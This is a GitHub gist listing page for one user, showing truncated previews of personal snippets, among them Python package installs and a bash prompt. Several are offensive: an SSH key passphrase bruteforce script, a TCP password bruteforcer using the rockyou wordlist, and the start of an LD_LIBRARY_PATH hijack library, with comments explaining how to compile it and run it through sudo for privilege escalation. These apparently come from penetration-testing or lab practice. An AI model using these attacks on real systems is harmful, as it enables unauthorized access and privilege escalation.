Skip to content

Instantly share code, notes, and snippets.

View wesleyit's full-sized avatar

Wesley Rodrigues wesleyit

View GitHub Profile
@wesleyit
wesleyit / my_super_python.sh
Last active July 2, 2022 00:48
Some useful packages for Python3
pip install -U pip
cat > /tmp/x << PACKAGES
awscli
bash-kernel
bash_kernel
bokeh
docutils
fastparquet
flake8
flask
@wesleyit
wesleyit / Economics_Studies_Central_Bank.ipynb
Last active January 21, 2022 15:27
This notebooks demonstrates how to analyze data from financial market using Jupyter Notebook and open APIs, like Yahoo finance API and Central Bank of Brazil's API.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@wesleyit
wesleyit / flash_sonoff_mini.txt
Created January 5, 2022 13:56
This code can be used in order to flash Tasmota firmware in Sonoff Mini devices
# Flash Sonoff Mini with Tasmota
#
# Download the file tasmota-lite.bin, get the sha256 hash
# and make it available via HTTP using NGINX
# The device will listen for HTTP Post requests
# on TCP/8081
## Get the device ID and OTA status
@wesleyit
wesleyit / bash_fancy_prompt_v2.sh
Last active August 3, 2021 22:10
A very nice command prompt for BASH :D
# Ensure you are evaluating PS1 var instead a command for prompt
unset PROMPT_COMMAND
# Change these symbols for the ones available on the font
# you are using in your terminal. This ones works in Agave Nerd Font.
USER_SYM=' '
ROOT_SYM=' '
GIT_SYM=''
VENV_SYM=''
AWS_SYM=''
@wesleyit
wesleyit / crack_key_threads.sh
Last active July 23, 2022 14:58
Shell script to bruteforce SSH key with openssl using multi threads
#!/bin/bash
export THREADS=8
export WORDLIST='/opt/wordlists/rockyou.txt'
export PREFIX='/tmp/rockyou_'
# Generate N wordlists chunks
split -n "$THREADS" --numeric-suffixes=1 "$WORDLIST" "$PREFIX"
# Function to break the passwords given a list
@wesleyit
wesleyit / python_local_tcp_bruteforce.py
Created June 2, 2021 19:56
This python script can be used to bruteforce a tcp service (like those ones you need to connect with telnet or nc and type a password).
#!/usr/bin/env python3
import sys
import socket
from multiprocessing import Pool as pool
THREADS = 8
HOST = 'localhost'
PORT = 9999
WORDLIST = '/opt/wordlists/rockyou.txt'
@wesleyit
wesleyit / packages.txt
Created February 22, 2021 18:55
Some packages for a Security Kubuntu (or Ubuntu) distro
vim-syntastic vim-snippets vim-snipmate vim-ultisnips vim-youcompleteme vim-pathogen vim-airline \
vim-airline-themes vim-ctrlp openjdk-8-jdk openjdk-11-jdk ophcrack hydra medusa nmap \
\smbclient ldap-utils binwalk aircrack-ng cabextract crunch cryptmount disktype exif fatcat foremost \
hashid john nasm netcat p7zip-full parted gparted pdfcrack rarcrack smb-nat tcpdump testdisk tcpxtract \
telnet tshark unar weplab whois hashcat ncrack openvpn qemu-user export qemu-system-arm qemu-system-mips \
qemu-system-x86 qemu-system-arm qemu-system-mips qemu-system-x86 flatpak mesa-utils mesa-utils-extra curl \
wget git pcoip-client plasma-discover-flatpak-backend virt-manager docker.io docker-compose qemu-kvm \
qemu-utils imagemagick python2-dev python3-dev virtualenv python3-pip python3-setuptools python-setuptools \
make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev \
xz-utils tk-dev libxml2-dev libxmlsec1-dev libffi-dev liblzma-dev ruby-dev rbenv ruby
@wesleyit
wesleyit / JAVA_OPTS.sh
Created February 22, 2021 18:15
Java options for improving the Look and Feel of Swing applications
export _JAVA_OPTIONS=" -Dawt.useSystemAAFontSettings=on \
-Dswing.aatext=true \
-Dswing.defaultlaf=com.sun.java.swing.plaf.gtk.GTKLookAndFeel \
-Dswing.crossplatformlaf=com.sun.java.swing.plaf.gtk.GTKLookAndFeel \
${_JAVA_OPTIONS}"
@wesleyit
wesleyit / fix_fonts_name.sh
Created February 22, 2021 17:45
Fixes the name of all TTF files in the current folder
#!/bin/bash
for font in *.ttf
do
new_name=$(
fc-query "$font" |
grep 'fullname:' |
cut -d '"' -f 2 |
tr ' ' '_'
).ttf
@wesleyit
wesleyit / library_path.c
Last active April 9, 2022 17:08
A Hijack module to cheat LD_stuff
/*
Compile with gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
Use with sudo LD_LIBRARY_PATH=/tmp apache2
When compiling, find any dependency of target binary and compile with the same name
*/
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));